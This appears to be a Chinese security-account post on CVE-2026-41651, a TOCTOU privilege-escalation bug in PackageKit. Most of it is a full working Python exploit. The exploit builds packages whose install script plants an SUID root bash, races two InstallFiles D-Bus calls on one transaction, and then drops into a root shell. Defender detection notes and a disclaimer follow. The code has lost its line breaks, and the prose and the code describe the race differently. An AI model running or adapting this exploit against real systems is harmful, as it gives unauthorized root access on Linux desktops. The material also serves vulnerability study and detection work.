0x00 前言
PackageKit是一套自由且开源的应用软件套装。它的核心组件包括守护进程packagekitd和交互库libpackagekit-glib2-18。在设计上,PackageKit通过守护进程抽象不同系统的差异,不取代已有的软件包管理系统,而是与之协同工作,支持从本机文件、套装媒体或远程资源安装软件,借助Polkit获取权限,具备多用户系统感知能力,闲置时可自动关闭。
它拥有pkcon命令行等多种前端,能适配YUM、APT、Pacman等多种后端包管理系统,实现跨发行版的软件包安装、更新、卸载及依赖管理等操作。
0x01 漏洞描述
该漏洞的核心是一个CWE-367 TOCTOU(Time-of-check Time-of-use)竞态条件:在同一个D-Bus transaction对象上,攻击者可以先调用一个不需要 polkit认证的查询操作(如 GetPackages),使transaction直接进入 READY→RUNNING状态并排队等待后端执行。紧接着在同一transaction上调用特权操作(如InstallPackages),覆写transaction内部缓存的操作类型(role)和参数(package_ids)。由于GLib的事件优先级和pk_transaction_run() 缺少状态校验,后端最终以被篡改后的特权操作参数执行。
—— ——来源于网络
0x02 CVE编号
CVE-2026-41651
0x03 影响版本
PackageKit 0.8.1 ~ 1.3.4(几乎所有 Linux 桌面发行版默认安装)0x04 漏洞详情
POC:
https://github.com/baph00met/CVE-2026-41651
#!/usr/bin/env python3"""CVE-2026-41651 - PackageKit TOCTOU Privilege EscalationPurple Team Test Case | FOR AUTHORIZED USE ON TEST SYSTEMS ONLYVulnerability: TOCTOU race in PackageKit's D-Bus transaction handling.A client can call InstallFiles twice on the same transaction — once withFLAG_SIMULATE (triggering authorization) and immediately again with FLAG_NONE(real install) before the auth check resolves. The second call's payloadexecutes with root privileges.Fix: PackageKit 1.3.5 (commit 76cfb675) — state guard in pk-transaction.crejects re-invocation of action methods after PK_TRANSACTION_STATE_NEW.Supports: Debian/Ubuntu (dpkg-deb) and RHEL/Fedora/SUSE (rpmbuild)Requires: python3-gi (GObject introspection bindings)Hardening notes:- Explicit 0o755/0o644 chmod on all build artifacts overrides restrictive umask(e.g. 027/077) that would otherwise make build trees unreadable to dpkg-deb/rpmbuild.- SUID drop directory is resolved at runtime by probing /proc/mounts for nosuid/noexecflags. Candidates tried in order: /var/tmp, /dev/shm, /tmp, $HOME."""import osimport sysimport shutilimport subprocessimport timefrom pathlib import Pathtry:from gi.repository import Gio, GLibexcept ImportError:sys.exit("[-] Missing python3-gi. Install: apt install python3-gi OR dnf install python3-gobject")# ── Config ───────────────────────────────────────────────────────────────────SUID_FILENAME = ".suid_bash" # resolved into a writable, suid/exec-capable dir at runtimePK_BUS = "org.freedesktop.PackageKit"PK_OBJ = "/org/freedesktop/PackageKit"PK_IFACE = "org.freedesktop.PackageKit"TX_IFACE = "org.freedesktop.PackageKit.Transaction"POLL_SECS = 90FLAG_SIMULATE = 4 # PK_TRANSACTION_FLAG_SIMULATE — triggers auth but does not installFLAG_NONE = 0 # No flags — real install# ── Mount-flag helpers ────────────────────────────────────────────────────────def _mount_flags(path: str) -> set:"""Return the mount option set for the filesystem that owns *path*."""path = os.path.realpath(path)best, flags = "", set()try:with open("/proc/mounts") as fh:for line in fh:parts = line.split()if len(parts) < 4:continuemnt = parts[1]if path.startswith(mnt) and len(mnt) > len(best):best = mntflags = set(parts[3].split(","))except OSError:passreturn flagsdef _find_suid_dir() -> str:"""Return the first candidate directory that is writable and whose filesystemis mounted without 'nosuid' or 'noexec'. Both flags must be absent:- nosuid → SUID bit silently ignored, shell never becomes root- noexec → binary cannot be executed at allCandidates are tried in preference order."""candidates = ["/var/tmp", "/dev/shm", "/tmp", os.path.expanduser("~")]for d in candidates:if not os.path.isdir(d) or not os.access(d, os.W_OK):continueflags = _mount_flags(d)if "nosuid" not in flags and "noexec" not in flags:return dsys.exit("[-] No writable directory found that supports SUID + exec.\n"" Tried: " + ", ".join(candidates))# ── Package builders ─────────────────────────────────────────────────────────def _detect_pkg_mgr():if shutil.which("dpkg-deb"):return "deb"if shutil.which("rpmbuild"):return "rpm"sys.exit("[-] No supported package builder found (need dpkg-deb or rpmbuild)")def _build_deb(out_path: str, pkg_name: str, postinst: str = None):build = Path(f"/tmp/pkbuild_{pkg_name}")deb = build / "DEBIAN"deb.mkdir(parents=True, exist_ok=True)# Explicit permissions — overrides restrictive umask (e.g. 027/077) that# would leave directories as 750/700, making them unreadable to dpkg-deb.build.chmod(0o755)deb.chmod(0o755)ctrl = deb / "control"ctrl.write_text(f"Package: {pkg_name}\nVersion: 1.0\nArchitecture: all\n"f"Maintainer: purple-team\nDescription: CVE-2026-41651 test package\n")ctrl.chmod(0o644)if postinst:pi = deb / "postinst"pi.write_text(f"#!/bin/sh\n{postinst}\n")pi.chmod(0o755)subprocess.run(["dpkg-deb", "-b", str(build), out_path],check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)shutil.rmtree(build, ignore_errors=True)def _build_rpm(out_dir: str, pkg_name: str, post_script: str = None) -> str:topdir = Path(f"/tmp/rpmbuild_{pkg_name}")for sub in ("BUILD", "RPMS", "SOURCES", "SPECS", "SRPMS"):d = topdir / subd.mkdir(parents=True, exist_ok=True)# Explicit 0o755 — same umask rationale as _build_deb; rpmbuild must be# able to traverse every subdirectory of _topdir.d.chmod(0o755)topdir.chmod(0o755)post_section = f"%post\n{post_script}\n" if post_script else ""spec_text = f"""%global _topdir {topdir}Name: {pkg_name}Version: 1.0Release: 1Summary: CVE-2026-41651 test packageLicense: MITBuildArch: noarch%descriptionPurple team test package for CVE-2026-41651.{post_section}%files"""spec_path = topdir / "SPECS" / f"{pkg_name}.spec"spec_path.write_text(spec_text)spec_path.chmod(0o644)subprocess.run(["rpmbuild", "--define", f"_topdir {topdir}", "-bb", str(spec_path)],check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)rpms = list((topdir / "RPMS").rglob("*.rpm"))if not rpms:sys.exit(f"[-] rpmbuild produced no output for {pkg_name}")dest = os.path.join(out_dir, f"{pkg_name}.rpm")shutil.copy2(str(rpms[0]), dest)shutil.rmtree(topdir, ignore_errors=True)return destdef build_packages(pkg_mgr: str, suid_path: str):pid = os.getpid()payload_script = f"install -m 4755 /bin/bash {suid_path}"if pkg_mgr == "deb":dummy = f"/tmp/pk-dummy-{pid}.deb"payload = f"/tmp/pk-payload-{pid}.deb"_build_deb(dummy, f"pk-dummy-{pid}")_build_deb(payload, f"pk-payload-{pid}", postinst=payload_script)else:dummy = _build_rpm("/tmp", f"pk-dummy-{pid}")payload = _build_rpm("/tmp", f"pk-payload-{pid}", post_script=payload_script)return dummy, payload# ── D-Bus / exploit logic ─────────────────────────────────────────────────────def create_transaction(conn) -> str:res = conn.call_sync(PK_BUS, PK_OBJ, PK_IFACE, "CreateTransaction",None, GLib.VariantType("(o)"),Gio.DBusCallFlags.NONE, -1, None)return res.unpack()[0]def fire_race(conn, tid: str, dummy: str, payload: str):"""Send both InstallFiles calls on the same transaction object without waiting.Call 1 — FLAG_SIMULATE (4): PackageKit queues an authorization check forinstalling <dummy>. No install occurs yet.Call 2 — FLAG_NONE (0): Re-invokes InstallFiles on the same transactionwith the real payload before the auth check resolves. Onvulnerable versions the state guard is absent, so the secondcall overwrites the queued parameters; when polkit grants auththe payload executes instead of the dummy."""conn.call(PK_BUS, tid, TX_IFACE, "InstallFiles",GLib.Variant("(tas)", (FLAG_SIMULATE, [dummy])),None, Gio.DBusCallFlags.NONE, -1, None, None)conn.call(PK_BUS, tid, TX_IFACE, "InstallFiles",GLib.Variant("(tas)", (FLAG_NONE, [payload])),None, Gio.DBusCallFlags.NONE, -1, None, None)conn.flush_sync(None)def poll_suid(path: str, timeout: int) -> bool:print(f"[*] Polling for SUID at {path} ({timeout}s max)...")for _ in range(timeout):try:st = os.stat(path)if st.st_mode & 0o4000 and st.st_uid == 0:print(f"\n[+] Confirmed: {path} is SUID root (mode={oct(st.st_mode)})")return Trueexcept FileNotFoundError:passprint(".", end="", flush=True)time.sleep(1)print()return False# ── Main ──────────────────────────────────────────────────────────────────────def main():print("=" * 60)print(" CVE-2026-41651 — PackageKit TOCTOU LPE")print(" Purple Team Test Case | Authorized Use Only")print("=" * 60)print()if os.geteuid() == 0:sys.exit("[-] Must be run as an unprivileged user to demonstrate the bug")# Override any restrictive umask before creating build trees.# Without this, mkdir() may produce 750/700 dirs that dpkg-deb/rpmbuild# cannot traverse. Explicit chmod calls in the builders are the primary# fix; this is a belt-and-suspenders safety net.os.umask(0o022)suid_dir = _find_suid_dir()suid_path = os.path.join(suid_dir, SUID_FILENAME)print(f"[+] SUID drop directory: {suid_dir} (no nosuid/noexec)")pkg_mgr = _detect_pkg_mgr()print(f"[+] Package format: {pkg_mgr.upper()}")print("[*] Building test packages...")dummy_path, payload_path = build_packages(pkg_mgr, suid_path)print(f"[+] Dummy pkg: {dummy_path}")print(f"[+] Payload pkg: {payload_path}")print(f"[+] Payload installs SUID bash to: {suid_path}")print()print("[*] Connecting to system D-Bus...")conn = Gio.bus_get_sync(Gio.BusType.SYSTEM, None)print("[*] Creating PackageKit transaction...")tid = create_transaction(conn)print(f"[+] Transaction ID: {tid}")print()print("[*] Firing TOCTOU race (SIMULATE → REAL on same transaction)...")fire_race(conn, tid, dummy_path, payload_path)success = poll_suid(suid_path, POLL_SECS)# Cleanup packages regardless of outcomefor p in (dummy_path, payload_path):try:os.unlink(p)except OSError:passif not success:print("[-] Exploit window missed — system may be patched or timing was unfavorable")print("[-] Note: this race is non-deterministic; retry if system is confirmed vulnerable")print(f"[-] Check PackageKit version: pkcon backend-details")sys.exit(1)print()print("[+] Dropping to root shell via SUID bash (-p preserves effective UID=0)")print("[+] --- ROOT SHELL FOLLOWS ---")print()os.execl(suid_path, suid_path, "-p")# ── Detection artifacts (for the Blue side) ───────────────────────────────────## Indicators defenders should look for:## D-Bus:# - Multiple rapid InstallFiles calls on the same transaction object path# - FLAG_SIMULATE (4) call immediately followed by FLAG_NONE (0) on same tid# - Audit rule: -w /usr/share/dbus-1/ -p wa## File system:# - Creation of SUID root binary in /tmp (mode 04755, owner root)# - dpkg-deb / rpmbuild invoked by non-root, non-package-manager process# - Transient .deb/.rpm files created in /tmp by unprivileged user## Process:# - bash process with UID != EUID (SUID execution)# - PackageKit (packagekitd) running postinst/post scripts from /tmp packages## Audit / syslog:# - packagekitd executing /bin/sh from a %post or postinst originating in /tmp# - polkit granting org.freedesktop.packagekit.package-install to local user# for a package not sourced from a trusted repository## SIEM rule sketch (pseudo):# event.type == "process_start"# AND process.parent.name == "packagekitd"# AND process.name == "sh"# AND process.args matches "/tmp/*"if __name__ == "__main__":main()

0x05 参考链接
https://github.com/PackageKit/PackageKit/security/advisories/GHSA-f55j-vvr9-69xv
推荐阅读:
CVE-2026-4747|FreeBSD栈溢出漏洞(POC)
CVE-2026-34714|Vim高危远程代码执行漏洞(POC)
CVE-2026-31431|影响范围很广!Linux内核Copy Fail本地提权漏洞(POC)
Ps:国内外安全热点分享,欢迎大家分享、转载,请保证文章的完整性。文章中出现敏感信息和侵权内容,请联系作者删除信息。信息安全任重道远,感谢您的支持
!!!
本公众号的文章及工具仅提供学习参考,由于传播、利用此文档提供的信息而造成任何直接或间接的后果及损害,均由使用者本人负责,本公众号及文章作者不为此承担任何责任。
